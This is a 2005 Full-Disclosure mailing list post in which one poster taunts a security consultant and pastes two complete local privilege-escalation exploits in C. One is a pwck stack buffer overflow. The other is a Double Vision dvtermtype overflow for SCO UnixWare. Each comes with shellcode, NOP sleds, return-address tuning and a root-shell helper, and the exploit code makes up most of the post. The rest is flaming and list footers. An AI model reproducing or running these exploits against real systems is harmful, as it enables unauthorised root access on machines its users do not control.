We all saw how short the code was I had for that pwck
buffer overflow exploit. He also hardcodes the stack
pointer, hahah.
----------MINE-----------------
#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";
unsigned long sp(void)
{ __asm__("movl %esp, %eax");}
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
offset = 1700; //the offset I first found worked
esp = sp();
ret = esp - offset;
buffer = malloc(2200);
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 2200; i+=4)
{ *(addr_ptr++) = ret; }
for(i=0; i < 1000; i++)
{ buffer[i] = '\x90'; }
ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }
buffer[2200-1] = 0;
printf("d4yj4y fscked j00r mom!\n"); sleep(2);
execl("/usr/sbin/pwck", "pwck", buffer, 0);
free(buffer);
return 0;
}
------------------HIS--------------
I have a feeling Steve was just mad mine was so short
compared to his, lol
THIS IS HIS LOCAL ROOT EXPLOIT:
/*
* dvexploit.c
*
* written by : Stephen J. Friedl
* Software Consultant
* 2000-06-24
* steve unixwiz net
*
* This program exploits the "Double Vision" system on
SCO
* Unixware 7.1.0 via a buffer overflow on the
"dvtermtype"
* program. Double Vision is like a "pcAnywhere for
UNIX",
* but quite a few programs in this distribution are
setuid
* root. The problem is that these programs were not
written
* with security in mind, and it's not clear that they
even
* need to be setuid root.
*
* This particular program exploits "dvtermtype" by
passing a
* very long second parameter that overflows some
internal
* buffer. This buffer is filled with a predicted
address
* of the shellcode, and the shellcode itself is
stored in
* a very long environment variable. This approach
makes
* the shellcode much easier to find.
*
* This shellcode was based directly on the great work
of
* Brock Tellier (btellier usa net), who seems to
spend a lot
* of time within with various SCO UNIX release.
Thanks!
*
* This shellcode runs /tmp/ui, which should be this
simple
* program:
*
* $ cd /tmp
* $ cat ui.c
* int main() { setreuid(0,0); system("/bin/sh");
return 0; }
* $ cc ui.c -o ui
*
* Brock's original work compiled this automatically,
but I
* prefer to do it by hand. A better approach is to do
the
* setreuid() in the shellcode and call /bin/sh
directly.
* Maybe another day.
*
* BUILD/TEST ENVIRONMENT
* ----------------------
*
* $ cc -v
* UX:cc: INFO: Optimizing C Compilation System (CCS)
3.2 03/03/99 (CA-unk_voyager5)
*
* $ uname -a
* UnixWare foo 5 7.1.0 i386 x86at SCO UNIX_SVR5
*
* from /usr/lib/dv/README
*
* DoubleVision for Character Terminals Release 3.0
* Last Update: December 7, 1999
*
* TUNING
* ------
*
* The default parameters to this program work on the
versions mentioned
* above, but for variants some tuning might be
required. There are three
* parameters that guide this program's operation:
*
* -a retaddr set the "return" address to the given
hex value,
* which is the address where we expect to find the
* exploit code in the environment. The environment
* is at a relatively fixed location just below
* 0x80000000, so getting "close" is usually
sufficient.
* Note that this address cannot have any zero bytes
* in it! We believe that the target code has enough
* padding NOP values to make it an easy target.
*
* -r retlen length of the overflowed "return address"
buffer,
* which is filled in with the address provided
above.
* Default = 2k, max = 5k.
*
* -l n slightly shift the alignment of the return
address
* buffer by 1, 2 or 3 in case the buffer that's
being
* overflowed.
*/
#include <stdlib.h>
#include <stdio.h>
/*-----------------------------------------------------------------------
* shellcode for SCO UnixWare
*
* The shellcode in the binary was derived from
assembler code
* below, and we put the asm() code inside the
function so we
* can disassemble it and get the binary bytes easier.
The code
* all should match, but the real original data is the
full
* asm() code.
*/
#if 1
static const char scoshell[] =
"\xeb\x19\x5e\x33\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11"
"\x33\xc0\xb0\x3b\x8d\x7e\x07\x53\x57\x56\x56\xeb\x10\xe8"
"\xe2\xff\xff\xff"
"/tmp/ui"
"\xaa\xaa\xaa\xaa"
"\x9a\xaa\xaa\xaa\xaa\x07\xaa";
#else
extern char scoshell[];
static void foo()
{
asm("#-------------------------------------------");
asm("scoshell:");
asm(" jmp L1b"); /* go to springboard */
asm(" L2b: popl %esi"); /* addr of /tmp/ui */
asm(" xorl %ebx,%ebx"); /* %ebx <-- 0 */
asm(" movl %ebx, 7(%esi)"); /* mark end of string */
asm(" movl %ebx, 12(%esi)"); /* 0 to lcall addr */
asm(" movb %bl, 17(%esi)"); /* 0 to lcall sub addr
*/
asm(" xorl %eax,%eax"); /* %eax <-- 0 */
asm(" movb $0x3b, %al"); /* 0x3b = "execve" */
asm(" leal 7(%esi), %edi"); /* addr of NULL word */
asm(" pushl %ebx"); /* zero */
asm(" pushl %edi"); /* addr of NULL word */
asm(" pushl %esi"); /* addr of "/tmp/ui" */
asm(" pushl %esi"); /* addr of "/tmp/ui" */
asm(" jmp L3b"); /* do OS call */
asm(" L1b: call L2b");
asm(" .ascii \"/tmp/ui\""); /* %esi */
asm(" .4byte 0xaaaaaaaa"); /* %esi[ 7] */
asm(" L3b: lcall $0xaa07,$0xaaaaaaaa"); /* OS call */
asm(" .byte 0x00"); /* endmarker */
asm("#-------------------------------------------");
}
#endif
#define NOP 0x90
static char *env[10], // environment strings
*arg[10]; // argument vector
/*------------------------------------------------------------------------
* "Addr" is the predicted address where the shellcode
starts in the
* environment buffer. This was determined empirically
based on a test
* program that ran similarly, and it ought to be
fairly consistent.
* This can be changed with the "-a" parameter.
*/
static long addr = 0x7ffffc04;
static char *exefile = "/usr/lib/dv/dvtermtype";
int main(int argc, char *argv[])
{
int c;
int i;
char egg[1024];
int egglen = sizeof egg - 1;
int retlen = 2048;
char retbuf[5000];
int align = 0;
char *p;
setbuf(stdout, (char *)0 );
while ( (c = getopt(argc, argv, "a:r:l:")) != EOF )
{
switch (c)
{
case 'a': addr = strtol(optarg, 0, 16); break;
case 'l': align = atoi(optarg); break;
case 'r': retlen = atoi(optarg); break;
}
}
if ( optind < argc )
exefile = argv[optind++];
printf("UnixWare 7.x exploit for suid root Double
Vision\n");
printf("Stephen Friedl <steve unixwiz net>\n");
printf("Using addr=0x%x retlen=%d\n", addr,
retlen);
/*---------------------------------------------------------------
* sanity check: the return buffer requested can't be
too big,
* and the address can't have any zero bytes in it.
*/
if ( retlen > sizeof(retbuf) )
{
printf("ERROR: retlen can't be > %d\n",
sizeof(retlen));
exit(1);
}
p = (char *)&addr;
if ( !p[0] || !p[1] || !p[2] || !p[3] )
{
printf("ERROR: ret address 0x%08lx has a zero
byte!\n", addr);
exit(1);
}
/*---------------------------------------------------------------
* Now create the "return" buffer that is used to
overflow the
* return address. This buffer really has nothing in
it other than
* repeated copies of the phony return address, and
one of them
* will overwrite the real %EIP on the stack. Then
when the called
* function returns, it jumps to our code.
*
* It's possible that this requires alignment to get
right, so
* the "-l" param above can be used to adjust this
from 0..3.
* If we're aligning, be sure to fill in the early
part of the
* buffer with non-zero bytes ("XXXX");
*/
strcpy(&retbuf, "XXXX");
for (i = align; i < retlen - 4; i += 4)
{
memcpy(retbuf+i, &addr, 4);
}
retbuf[i] = 0;
printf("strlen(retbuf) = %d\n", strlen( (char
*)retbuf) );
/*---------------------------------------------------------------
* The "egg" is our little program that is stored in
the environment
* vector, and it's mostly filled with NOP values but
with our little
* root code at the end. Gives a wide "target" to
hit: any of the
* leading bytes hits a NOP and flows down to the
real code.
*
* The overall buffer is
*
* X=################xxxxxxxxxxxxxxxxxxxxx\0
*
* where # is a NOP instruction, and "X" is the
exploit code. There
* must be a terminating NUL byte so the environment
processor does
* the right thing also.
*/
memset(egg, NOP, egglen);
memcpy(egg, "EGG=", 4);
// put our egg in the tail end of this buffer
memcpy(egg + (egglen - strlen(scoshell)- 1),
scoshell, strlen(scoshell));
egg[egglen] = '\0';
/* build up regular command line */
arg[0] = exefile;
arg[1] = "dvexploit"; /* easy to find this later */
arg[2] = (char *)retbuf;
arg[3] = 0;
/*---------------------------------------------------------------
* build up the environment that contains our
shellcode. This
* keeps it off the stack.
*/
env[0] = egg;
env[1] = 0;
execve(arg[0], arg, env);
}
Please teach me to be like you, I'm striving to be
as
good as you Steve. You obviously are my master.
I bow to you.
Please teach me! Your code is sooo l33t!
On Mon, May 09, 2005 at 08:38:10AM -0700, Day Jay
Post by Day JayI stole it, but it works, and that's all that
matters
"It works is all that matters" is the hallmark of
an
amateur.
Steve
---
Stephen J Friedl | Security Consultant | UNIX
Wizard | +1 714 544-6561
www.unixwiz.net | Tustin, Calif. USA | Microsoft
__________________________________________________
Do You Yahoo!?
Tired of spam? Yahoo! Mail has the best spam
protection around
http://mail.yahoo.com
_______________________________________________
Full-Disclosure - We believe in it.
http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia -
http://secunia.com/
__________________________________________________
Do You Yahoo!?
Tired of spam? Yahoo! Mail has the best spam protection around
http://mail.yahoo.com
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/